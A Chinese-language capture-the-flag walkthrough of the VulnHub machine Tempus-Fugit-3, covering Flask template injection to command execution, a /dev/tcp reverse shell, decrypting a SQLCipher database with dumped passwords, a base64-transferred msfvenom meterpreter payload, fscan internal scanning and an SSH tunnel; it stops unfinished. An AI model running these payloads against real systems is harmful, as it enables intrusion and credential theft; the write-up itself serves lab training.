靶机提示sstisqlite文件破解内网渗透容器靶机下载https://download.vulnhub.com/tempusfugit/Tempus-Fugit-3.ova信息搜集nmap -sT --min-rate 10000 -p- 192.168.8.250很简单的信息只有一个web页面SSTI模板注入漏洞无意中发现404似乎都是有个统一的拦截页面{{2*2}}}直接注入payload,果然存在ssti漏洞先查看配置定位服务端模板版本{{config}}根据特征推断服务端是flask同时base64解码拿到第一个flagflask ssti注入payload{{ request.application.__globals__.__builtins__.__import__(os).popen(id).read() }}成功回显反弹shell{{ request.application.__globals__.__builtins__.__import__(os).popen(bash -c /bin/bash -i /dev/tcp/192.168.8.251/4444 01).read() }}sqlite 数据窃取app.py文件中发现了第一个flag,以及数据库密码pragma keySecretssecretsSecrets...并且用的时sqlite数据库SQLite 是一个嵌入式的、进程内in-process、无服务器、零配置、事务性的 SQL 数据库引擎它只在本地生成一个文件顺着app.py源码指示的路径也发现了db文件sqlite交互登录sqlcipher db2.db --interactive输入密码PRAGMA key SecretssecretsSecrets...;hugh-janus|S0secretPassW0rd anita-hanjaab|ssdf%dg5xc clee-torres|asRtesa#2s RmxhZzN7IEhleSwgcmVhZGluZyBzZWNyZXRzICB9|拿到第三个flag后台源码泄露源码里面拿到flag2提权想进一步利用时发现反弹shell是受限的推断可能是容器shell拿到shell后无法执行查看网络的命令同时也没有curl/wget等命令再联想到端口服务探测时发现80端口只是nginx服务猜测可能是docker容器摆脱受限容器生成一个不依赖任何运行时curl/wget/python的纯二进制后门msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST192.168.8.251 LPORT6666 -f elf -o ex.elf将 ELF 二进制转为 Base64 文本传输-w0禁止换行cat ex.elf| base64 -w0在靶机生成payloadecho f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAgAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgAaCsCoCPtRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmpWg8FSIXAeO3/5g |base64 -d ex.elfmsf启动监听拿到meterpreter shell内网渗透先拿到内网ip上传fscanmeterpreter upload /root/tools/fscan进入shellfscan -h 192.168.100.0/24发现了192.168.100.1端口扫描./fscan -h 192.168.100.0/24 -p 1-65535 -t 50开了34193端口和80端口端口转发把内网端口通过ssh隧道转发到kalissh -N -R 5555:192.168.100.1:80 root192.168.8.251ps靶机环境似乎有问题卡在这边整了很久看了一下wp内网的192.168.100.1机器的还有个443端口但是靶机的443似乎没有启动起来暂时先这样。